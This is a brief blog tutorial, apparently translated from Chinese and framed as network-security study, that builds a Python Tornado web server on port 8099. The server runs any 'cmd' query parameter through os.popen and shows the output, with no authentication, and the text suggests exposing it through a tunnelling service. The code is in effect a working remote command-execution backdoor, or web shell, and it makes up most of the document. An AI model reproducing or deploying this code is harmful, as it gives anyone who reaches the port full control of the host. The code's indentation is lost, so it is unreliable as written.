Article Directory
Disclaimer: This article is only for the study and communication of network security. Any operation has nothing to do with the author.
Please abide by the laws and regulations of our country
1. Tools & Environment
- Python 3
- Peanut shells
- Remote calculator
2. Build a website
Use library: tornado, os
from tornado.web import Application,RequestHandler
from tornado.ioloop import IOLoop
from tornado.httpserver import HTTPServer
import os
#定义视图类
class mainHandler(RequestHandler):
#重写方法
def get(self):
print("this is get")
#get传参,无参数为空
cmd = self.get_query_argument('cmd','')
res = os.popen(cmd)
resstr = res.read()
htmlpagecode = '''<h1>Welcome!</h1>cmd:{}<div><textarea>{}</textarea></div> '''.format(cmd,resstr)
self.write(htmlpagecode)
res.close()
def post(self):
print("this is post")
#定义web应用
# page --> app --> server
def webApp():
#指定根
app = Application([('/',mainHandler),('/index.html',mainHandler)])
return app
#定义一个入口
if __name__ == '__main__':
webapp = webApp()
server = HTTPServer(webapp)
#绑定端口
server.bind(8099)
server.start()
#轮询监听不可省略
IOLoop.current().start()
Three, run screenshots
Be vigilant and do not install software from unknown sources
Finish
Welcome to leave a message in the comment area.
Thanks for browsing